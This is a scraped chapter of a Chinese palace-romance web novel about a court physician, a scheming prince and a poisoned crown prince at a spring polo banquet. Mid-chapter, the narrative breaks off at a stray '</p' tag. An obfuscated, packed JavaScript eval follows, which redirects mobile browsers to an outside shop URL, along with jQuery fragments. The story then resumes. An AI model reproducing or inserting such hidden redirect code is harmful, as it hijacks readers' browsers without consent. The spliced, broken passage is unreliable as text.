19. 马球宴
作品:《裴御医太难撩》 裴星沉顿了顿说:“臣听不懂。”
“别装蒜了,裴御医,”朱昱陵笑道,“那封情信,可是我指挥着清玥写得,你不是赴约了吗?”
裴星沉顿时皱眉,怪不得她会给他写这样奇怪的信。一想到那封是朱昱陵授意写得,他就感到一阵恶寒。
他眉心拧成结,投下一片小小暗影,“世子,臣不太懂您的意思,您是希望我和世子妃背地里苟合,给您诞下子嗣?”
他终于不再装蒜,朱昱陵满意地笑了,依旧是那副温润如玉的君子模样,但说出口的话却威胁力十足:“对,裴御医,如果你不同意,那么清玥假孕流产的事情,我就要捅到皇兄那里去了。”
“届时不仅清玥受到责罚,你也会受到牵连。裴御医,你好容易爬到如今这个位子,应该知道如何抉择罢?”
裴星沉袖中的拳头已经捏紧,青筋暴起,薄唇抿成一条直线,他冷声说:“世子,你当初不是因为钟意世子妃才向陛下赐婚的吗?”
他和林清玥分开后,即便天高皇帝远,但他还是在坊间听闻了靖安王世子痴心定远将军千金,不顾她腿疾,特意向圣上赐婚的消息。
他忍不住想,她嫁的是皇家贵族,这或许就是她所向往的富贵生活吧。
那一天,他把自己灌醉,甚至跳到了深冬的湖里,在冰冷的湖水里自虐般地惩罚自己。
他对自己说:我会忘了她,忘记所有。
从那天起,他更名换姓为裴星沉。
愿意陪着月亮的那颗星星,沉没在湖里,再无声息。
他一直以为,靖安王世子是真心喜爱她的,万万没想到,这世子竟如此冷酷寡情。
朱昱陵脸上没有任何愧疚之色,“我对世子妃是中意的,而非钟意。至今为止,我对她依然中意,若是她能怀上孩子,那我就更中意了。”
“唉,裴御医!”眼看着裴星沉在脱离理智的边缘,朱昱陵赶紧打住,他可不想和方临璋那般遭人揍。
他笑了笑说:“裴御医,我知晓你对世子妃是真正的钟意。既如此,不妨大胆一些,世子妃这四年来独守空房,孤寡寂寞,需要你的慰藉......”
再也没忍住,“嘭”地一声,裴星沉一拳头挥了上去。
朱祺看着眼睛淤紫的朱昱陵,又看看跪在地上认罚的裴星沉,纳闷道:“你们到底有什么口舌之争,竟挥拳相向?”
朱昱陵在之前就解释过了,他们只是唇角之争,并无其他。不然按照朱祺的性子,定是要责罚裴星沉的。
“尤其是你,星沉,”朱祺捏着下巴,疑惑道:“上次你打了方临璋,这次又打了昱陵,怎么,最近心头有火,无处发泄?”
“皇兄,自打裴御医进宫后,不仅要负责您的圣体,还要负责世子妃的安康,他压力着实大。”
“嗯,昱陵所言有理,”朱祺点点头,“星沉,过几日就是马球宴了,届时你前来裴孤观赏。”
裴星沉想到在马球场外有事要处理,便点头应下。
*
春日马球宴。
男子们皆已整装待发,跨坐在骏马上,手中握着雕花球杖,意气风发。
场边的敞轩里,林清玥跟皇宫贵女们坐在一侧,品茗谈笑,为场上的人加油助威。
“世子妃,怎么不给世子加加油!”
“快看,世子刚刚看过来了!”
林清玥这才放下茶盏,望了过去。
朱昱陵今日一身绯红色长袍,袖子束起,头戴幞头,眼神灼灼地望过来。
他又在演戏了,演技可谓是出神入化。林清玥冷哼一声,再侧头一看,朱昱陵看得是她吗,明明是她这端的朱祺罢。
朱祺注意到朱昱陵头来的目光,微微皱眉,大庭广众之下,他还是希望朱昱陵能收敛一些。
他看了一眼身侧闭目小憩的柳芸儿,懒洋洋道:“今日裴御医没来,你怎么连观赏的劲头都没有了。”
柳芸儿睁开眼,笑道:“殿下说笑了,妾身不过是昨夜未歇息好,这才偷懒打个盹儿。”
说罢,她起身给朱祺捶捶肩膀,面上笑着,心里却恨得厉害。
她自小和太子相识,年少时也曾满心满眼是他,可惜的是他是一块冰冷的石,更可恨的是她入东宫两载,他从未碰过她。
十六七岁的花儿般的年纪,却只能守寡似的熬日子,好在太子对她还有几分情分,私底下跟她说,若是寂寞了,找个俊俏男子打发打发时间未尝不可。
她心里恨得牙痒痒,但最终也在寂寞的驱使之下,找了几个身家干净的小官人玩儿。
本以为日子就这样浑浑噩噩地过去,哪知她遇见了裴星沉。
他像一个神秘的黑洞,吸引着她步步沦陷,一想到他,她就浑身发软。可惜的是,他也是块硬骨头。
她叹息一声,难道这就是命,此生注定得不到所爱?
“今日林大将军也来了?”朱祺看到林远山走过来,心头一紧。
林远山体内还藏着子蛊,如今他遭受到同心蛊的反噬,已经无法控制住子蛊,反而可能会被子蛊控制。
不行,得赶紧让他离开,正思忖着,他的胸口开始阵阵发痛,“芸儿,去叫裴御医过来。”
柳芸儿见他捂着胸口,知道他旧疾犯了,忙命人扶着他去了马场后的厢房。
裴星沉来得迟了一些,飞快抵达马场。
阿秋盯着的那个商队领头人,今日和太子的心腹丘覃在此处见面。他便找了个机会溜出去,和跟踪回来的人询问一番。
那一箱箱奇珍异宝原就是送给朱祺的,想必是朱祺在和波斯国进行什么不可见人的勾当。
抵达厢房时,朱祺已经痛得出了一身薄汗,见到裴星沉,虚虚道:“星沉,快救孤!”
“殿下,臣来了。”裴星沉坐下来,给他施针,缓解他的痛楚。
朱祺终于平静下来,靠在枕上,沉声道:“林远山还未真正靠近孤,孤就这般难熬,星沉,孤要林远山死。”
裴星沉眼皮一跳,收起银针,劝道:“殿下,如今当务之急,是找到波斯国的前国师,只有他懂知道如何将您体内的蛊毒引出来。只有引出蛊毒,才能彻底消解您的心头大患。”
“可是,波斯国的前国师早就销声匿迹,兴许是死在了某处,那孤难道得一辈子这般吗?”
朱祺已经没有太多耐心,他快被这蛊毒折磨得痛不欲生,裴星沉想了想说:“目前臣还有一个法子......”
“什么法子?只管说来!”朱祺眼里满是急切。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848396|191100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“臣建议让林将军离开京城,短时间不要返京。只要子蛊离开,期间的纠缠就会断掉,那您就可以暂且免除锥心之痛。”
“这个法子最简单有效,”裴星沉看了一眼朱祺,沉吟道:“只是臣没想到合适的让林将军离京的理由,陛下可能不同意。”
“无碍,”朱祺心里已然松了口气,“孤会跟父皇提议,林远山是开国元勋,戎马半生,功勋卓著。当赐封邑一处,颐养天年,以慰老臣之心。”
裴星沉暗暗勾唇,“殿下英明。”
即便当年林远山瞧不起他,阻拦他和林清玥在一起,但他毕竟是林清玥的父亲。林远山若是远离了是非之地,那么林清玥就少一份桎梏。
而且,林远山在将士里威名赫赫,若朱砚后期有需要,可结盟林远山出兵,此乃未雨绸缪。
*
“清玥,这是我给你赢来的头彩,给你戴上好不好?”
朱昱陵翻身下马,兴致冲冲过来,将取得的头彩——一根花簪戴在她发髻上。
身旁的贵女已经开始说酸话了,“唉,世子妃真是好命呐,生得国色天香,又嫁给了全京城最好的儿郎,真真嫉妒死人家了!”
“世子妃,快给世子擦擦汗吧。世子累得满头大汗,没有沐浴更衣,而是来送头彩,真是其心可表。”
林清玥这才发觉他额上出了薄薄细汗,她不得不拿出帕子,装模作样地给他擦了擦。
正擦着听到有人小声惊呼:“哎呦,裴御医来了。”
“不是说今日不来的嘛,怎么又来了,害我今日没有好好打扮打扮。”
“你打扮得再好看有什么用,上次你做得香囊、糕点,还有砚台,都送出去了没?”
“讨厌!”
说话的都是十五六岁的贵女们,叽叽喳喳笑成一团。
林清玥眼睫轻颤,抬头望去,裴星沉一袭暗杏色窄袖圆领,腰带束一麒麟羊脂白玉,风姿卓越,清雅矜贵,仿佛哪家贵族公子。
“裴御医,这腰间的玉佩,可是殿下赏赐?”
柳芸儿见裴星沉来了,整个人都打起精神,巧笑嫣然,瞥见他腰间的玉佩,好奇问道。
朱祺落座,裴星沉立在一侧,拱手道:“回娘娘,此玉佩确实是殿下所赐。”
林远山被请走了,朱祺胸口不痛,整个人神清气爽起来。他打趣道,“虽然孤给了星沉不少赏赐,如今只有这块玉佩,他赏脸佩戴呢。”
正说着,注意到马场里休战了,微微皱眉:“孤才来,这就歇了?”
旁边的总管马上说,“殿下,第二场的人还没凑齐呢。”
“哦,还缺几个?”朱祺看了一眼裴星沉说,“星沉,孤见过你骑马,姿态何等风流俊逸,何不下场一试身手?”
“臣今日身子不适......”正要婉拒,有人挥着马球杆大步走了过来。
那人粗声道:“裴御医,我想跟你切磋很久了,今日你若是不上场,那就是不给本侯爷的面子。”
来人正是永安侯的幼子,郑函。他暗恋乐嘉县主多年,却没想到输给了一个御医。
今日他就是要趁机,杀杀他的威风。
裴星沉默了默,眼底划过一丝戾气,拱手道:“那臣就恭敬不如从命了。”

